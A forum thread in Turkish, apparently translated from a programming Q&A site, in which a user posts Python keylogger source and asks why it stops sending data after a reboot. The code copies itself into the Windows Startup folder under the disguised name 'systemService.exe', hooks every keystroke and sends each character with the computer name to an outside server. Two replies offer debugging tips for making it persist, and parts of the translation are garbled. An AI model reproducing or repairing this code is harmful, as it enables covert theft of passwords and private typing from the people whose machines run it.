Başlangıçta otomatik olarak çalışan bir python keylogger yapmaya çalışıyorum. İşte python kodu
import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys
userName = getpass.getuser()
filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\\" %userName
if os.path.exists(filePath):
if os.path.isfile(filePath+'systemService.exe')==False:
try:
shutil.copy2(sys.argv[0],filePath+'systemService.exe')
except:
pass
def OnKeyBoardEvent(event):
try:
params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)})
conn = httplib.HTTPConnection("keylogging.mywebcommunity.org")
conn.request("GET","/index.php?"+params)
except:
pass
return True
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyBoardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()
Bu keylogger phci kullanarak kodda belirtilen sunucuya tüm ascii veriyi kaydeder. Bu pyw dosyasını çalıştırdığımda gayet iyi çalışır fakat bilgisayarı yeniden başlattığımda sunucuda dosyaya giriş yapmaz. Bu programın Başlangıç Dizini'nde bulunduğunu ve yeniden başlattıktan sonra arka planda çalıştığını kontrol ettim. Ancak yine de sunucu dosyasına veri girişi yapmıyor.
Yeniden başlattıktan sonra yerel bir dosyaya giriş yapıyor mu?
—
adampski
Dosyayı çalıştırmak ve başlangıçta çalıştırmak için doğru komutla bir .bat dosyası oluşturmayı deneyin. Dosya için doğru şekilde çalıştırılmayan ve hatalarla sonuçlanan birkaç argüman olabilir. Bunu test etmek için, bir koyarak koyarak tavsiye
—
ytpillai
try: #code except: open("somefile","w").write("error")
Programın bir yerde bir istisnada çalıştığından emin olmak için değil, onu görmezden gelin.